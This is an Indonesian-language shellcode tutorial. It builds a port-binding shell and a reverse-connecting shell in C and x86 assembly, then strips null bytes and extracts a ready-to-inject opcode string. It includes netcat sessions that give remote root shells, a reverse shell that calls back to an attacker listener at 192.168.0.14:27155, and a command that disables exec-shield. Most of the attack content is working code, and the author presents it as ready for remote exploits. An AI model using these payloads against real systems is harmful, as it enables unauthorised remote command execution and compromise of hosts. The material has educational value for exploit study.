Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.

Host byte order mungkin sama atau berbeda dengan host byte order.

Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.



Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0×0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.

Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.

Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:


Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.



Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.

Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:

  • htons() dan htonl()
  • Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.
    Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0×0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0×0050 ini perlu dibalik dulu menjadi 0×5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0×5000 di memori komputer host akan tersimpan sebagai 0×00 0×50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0×00 0×50. Bila 0×0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0×50 0×00, sehingga dalam paket jaringan tertulis port 0×50 0×00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.
  • ntohs() dan ntohl()
  • Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).
Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0×00 0×50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0×00 0×50 dalam host yang memakai little endian diartikan sebagai 0×5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0×50 0×00. Dua byte 0×50 0×00 dalam sistem little endian diartikan sebagai nilai 0×0050 yaitu port 80.


Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.

Socket Address Structure

Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:


typedef uint32_t in_addr_t;

struct in_addr
  {
    in_addr_t s_addr;
  };
 
struct sockaddr_in
  {
    sa_family_t sin_family;

    in_port_t sin_port;
    struct in_addr sin_addr;
    unsigned char sin_zero[8];

  };

sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address. sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.

Ingat menuliskan IP address dan port harus dalam bentuk network byte order
Client Server Socket Programming


Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.

Pada sisi server, fungsi yang dipakai adalah:


  1. socket()
  2. Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.
  3. bind()
  4. Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.
  5. listen()
  6. Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.
  7. accept()
  8. Ini adalah fungsi untuk menerima koneksi dari client.
  9. read()
  10. Ini adalah fungsi untuk menerima data yang dikirim client.
  11. write()
  12. Ini adalah fungsi untuk mengirim data ke client.
Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:


  1. socket()
  2. Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.
  3. connect()
  4. Fungsi ini untuk membuka koneksi ke server.
  5. read()
  6. Fungsi ini untuk menerima data dari server.
  7. write()
  8. Fungsi ini untuk mengirim data ke server.
Socket adalah File
Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.

Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.

Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.

Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.

Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.


Membuat Port Binding Shellcode
Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <sys/socket.h>
#include <netinet/in.h>
 
int main() {

        char *shell[2];
        int server; // server socket file handler
        int client; // client socket file handler

        struct sockaddr_in serv_addr; // definisi ipaddress dan port
 
        server=socket(2,1,0); // membuat socket STREAM

        serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address
        serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order

        serv_addr.sin_family=2; // Jenis address IP
        bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress

        listen(server,0); // menunggu koneksi dari client
        client=accept(server,0,0); // koneksi dari client sudah terjalin

 
        dup2(client,0); // duplicate stdin ke client socket
        dup2(client,1); // duplicate stdout ke client socket

        dup2(client,2); // duplicate stderr ke cilent socket
 
        shell[0] = "/bin/sh";

        shell[1] = 0;
        execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket

}

Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.

Ada dua socket yang dipakai: server socket dan client socket
Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0×095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0×5C09.

Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.

Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.


Test
Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.


$ gcc portbind.c -o portbind
$ sudo ./portbind

Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.


$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit

Port Binding dalam Assembly
Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.

Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:

  • EBX = 1 untuk socket()
  • EBX = 2 untuk bind()
  • EBX = 3 untuk connect()
  • EBX = 4 untuk listen()
  • EBX = 5 untuk accept()
Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.

struct sockaddr_in dalam Assembly
Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.

Susunan byte pada struct sockaddr_in adalah:

  • Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0×0002 (AF_INET).
  • Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0×5C09 (port 2396).
  • Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0×00000000 (semua IP di interface host).
Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0×00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.

Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.


1
2
3
4
5
xor edx,edx ; edx = 0 

push edx ; push sin_addr.s_addr 0x0
push word 0x5C09 ; push sin_port
add edx,2

push dx ; push sin_family 0x0002

Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:


0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00

0×02 0×00 adalah sin_family, hasil dari instruksi “push dx” pada saat regsiter DX bernilai 2. Byte berikutnya 0×09 0×5C adalah sin_port, hasil dari instruksi “push word 0×5C09″. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi “push edx” pada saat EDX bernilai 0.


Source Code Assembly Port Binding Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
BITS 32
section .text
global _start
 
_start:
xor eax,eax

xor ebx,ebx
xor edx,edx
 
;server=socket(2,1,0)
push eax ; push 0

push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX points to [2][1][0]

inc bl
mov al,102
int 0x80
 
; esi = server socket handler

mov esi,eax
 
;bind(server,(struct sockaddr*)&serv_addr,16)
push edx
push word 0x5C09

add edx,2
push dx
mov ecx,esp ; ECX = &serv_addr

push byte 16 ; push 16 (sizeof struct sockaddr)
push ecx  ; push &serv_addr
push esi   ; push server socket handler

mov ecx,esp ; ECX points to [server][&serv_addr][16]
inc bl
mov al,102

int 0x80
 
;listen(server,0)
xor edx,edx
push edx ; push 0

push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0]
mov bl,0x4

mov al,102
int 0x80
 
;client=accept(server,0,0)
push edx ; push 0

push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0][0]

inc bl
mov al,102
int 0x80
 
; ebx = client socket handler

mov ebx,eax
 
;dup2(client,0)
xor ecx,ecx
mov al,63

int 0x80
 
;dup2(client,1)
inc ecx
mov al,63

int 0x80
 
;dup2(client,2)
inc ecx
mov al,63

int 0x80
 
;execve "/bin//sh"
push edx ; push NULL (0x0)
push long 0x68732f2f ; push //sh

push long 0x6e69622f ; push /bin
mov ebx,esp ; EBX = address of "/bin//sh"
push edx ; push NULL (0x0)

push ebx ; push address of "/bin//sh"
mov ecx,esp ; ECX address of [address of "/bin//sh",NULL]

mov al,0x0b ; exec system call
int 0x80

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.


System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.

Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.

Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
 
./portbind_asm:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80

Byte Terlarang di Shellcode
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.


Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.



804807a:       81 c2 02 00 00 00       add    edx, 2


804807a:       42                      inc    edx
 804807b:       42                      inc    edx

Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.


Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.


$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.


$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80

Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.

Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.


1
2
3
4
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void) {
        asm("jmp shellcode");
}


$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode

Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.

$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit

Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.

Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.

Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/socket.h>
#include <netinet/in.h>
 
int main(void) {
        char *shell[2];

        int soc;
        int remote;
        struct sockaddr_in serv_addr;

 
        serv_addr.sin_family=2; // internet address
        serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14

        serv_addr.sin_port=0x136A; // port 27155
        soc = socket(2,1,0);

        remote = connect(soc,(struct sockaddr*)&serv_addr,16);
        dup2(soc,0);

        dup2(soc,1);
        dup2(soc,2);
        shell[0] = "/bin/sh";

        shell[1] = NULL;
        execve(shell[0],shell,0);

}

Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.


C:\>nc -lvn -p 27155
listening on [any] 27155 ...

Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.


$ gcc reverse.c -o reverse
$ sudo ./reverse

Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.


C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit

Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.

Reverse Connecting dalam Assembly

Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.


BITS 32
section .text
global _start
_start:
xor eax,eax

xor ebx,ebx
xor edx,edx
 
;soc=socket(2,1,0)
push eax ; push 0

push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]

inc bl
mov al,102
int 0x80
 
; ESI = soc socket handler

mov esi,eax 
 
;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value

push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2

push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16

push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]

mov bl,3
mov al,102
int 0x80
 

; EBX = remote socket handler
mov ebx,esi
 
;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler

mov al,63
int 0x80
 
;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler

mov al,63
int 0x80
 
;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler

mov al,63
int 0x80
 
;execve "/bin//sh"
push edx

push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx

push ebx
mov ecx,esp
mov al,0x0b
int 0x80

Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.


$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o

Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.


$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
